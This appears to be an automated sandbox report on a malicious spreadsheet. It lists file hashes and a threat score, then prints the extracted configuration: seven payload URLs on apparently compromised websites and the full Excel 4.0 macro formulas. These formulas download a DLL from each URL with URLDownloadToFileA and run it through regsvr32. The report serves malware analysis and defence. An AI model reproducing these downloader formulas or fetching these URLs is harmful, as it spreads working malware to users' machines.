General
-
Target
c6b4359bfbd23a16b78aba27cd2d548eddf616e8b96448fe19bef1a4f26ac114
-
Size
20KB
-
Sample
241120-3mf8kswgpk
-
MD5
0ab4b87f8d8596a9e1da207eaf361e5f
-
SHA1
f3b38034e64ad5bf9473fda971a6bd4ce2ced1ba
-
SHA256
c6b4359bfbd23a16b78aba27cd2d548eddf616e8b96448fe19bef1a4f26ac114
-
SHA512
08b0d5878971289e7995d66dfca5c9a1ec636a19bb856ff11b1ad80e60c957a585bf6f71550047158d3fea5565e7e6480f36661c4d1003b35b048d931ca83107
-
SSDEEP
384:15Jm7qVb1GNjyo4CGzPd6ZIwBKb5CzgObff9kC+xbX7Qi9rc5:15J7IN+o4FLNCBn9kC+xbLQf
Malware Config
Extracted
https://benconry.com/wp-includes/eUXuRrm1G6bRZ/
http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/
http://atbiotique.com/images/ESistuSH6DbQFkxTz/
http://www.atelierkikala.com/Facebook/2pfL2EhoN9MusmXv/
http://automotorahorizonte.uy/wp-snapshots/r1G/
https://bencevendeghaz.hu/wp-includes/ob9w4byJ85B/
http://speziale.it/cache/vcVndjk/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://benconry.com/wp-includes/eUXuRrm1G6bRZ/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/ESistuSH6DbQFkxTz/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/2pfL2EhoN9MusmXv/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automotorahorizonte.uy/wp-snapshots/r1G/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bencevendeghaz.hu/wp-includes/ob9w4byJ85B/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://speziale.it/cache/vcVndjk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Extracted
https://benconry.com/wp-includes/eUXuRrm1G6bRZ/
http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/
http://atbiotique.com/images/ESistuSH6DbQFkxTz/
Targets
-
-
Target
c6b4359bfbd23a16b78aba27cd2d548eddf616e8b96448fe19bef1a4f26ac114
-
Size
20KB
-
MD5
0ab4b87f8d8596a9e1da207eaf361e5f
-
SHA1
f3b38034e64ad5bf9473fda971a6bd4ce2ced1ba
-
SHA256
c6b4359bfbd23a16b78aba27cd2d548eddf616e8b96448fe19bef1a4f26ac114
-
SHA512
08b0d5878971289e7995d66dfca5c9a1ec636a19bb856ff11b1ad80e60c957a585bf6f71550047158d3fea5565e7e6480f36661c4d1003b35b048d931ca83107
-
SSDEEP
384:15Jm7qVb1GNjyo4CGzPd6ZIwBKb5CzgObff9kC+xbX7Qi9rc5:15J7IN+o4FLNCBn9kC+xbLQf
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-